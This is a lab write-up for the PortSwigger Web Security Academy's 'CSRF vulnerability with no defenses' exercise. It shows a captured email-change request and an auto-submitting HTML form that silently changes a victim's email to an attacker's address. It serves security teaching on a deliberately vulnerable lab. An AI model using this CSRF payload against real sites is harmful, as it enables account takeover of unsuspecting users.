portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following labs from the PortSwigger Web Security Academy related to Cross-Site Request Forgery (CSRF):

1 CSRF vulnerability with no defenses

This lab demonstrates how attackers can exploit CSRF vulnerabilities in applications that lack any protection against such attacks.

LAB 1 - CSRF vulnerability with no defenses

Lab Description

image

Solution

Overview

This lab demonstrates a basic Cross-Site Request Forgery (CSRF) attack where the email change functionality is not protected by any anti-CSRF mechanisms.


Step-by-Step Walkthrough

1. Logging In

Username: wiener
Password: peter

image

2. Navigating to Vulnerable Functionality

3. Analyzing the Request in Burp Suite

POST /my-account/change-email HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: session=your_session_cookie

email=admin@abc.com

image

This confirmed that the application lacked CSRF protection.


4. Generating the CSRF Proof of Concept (PoC)

image

image

<html>
  <body>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="email-attacker@example.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Replace YOUR-LAB-ID with your actual lab domain.


5. Delivering the Exploit

image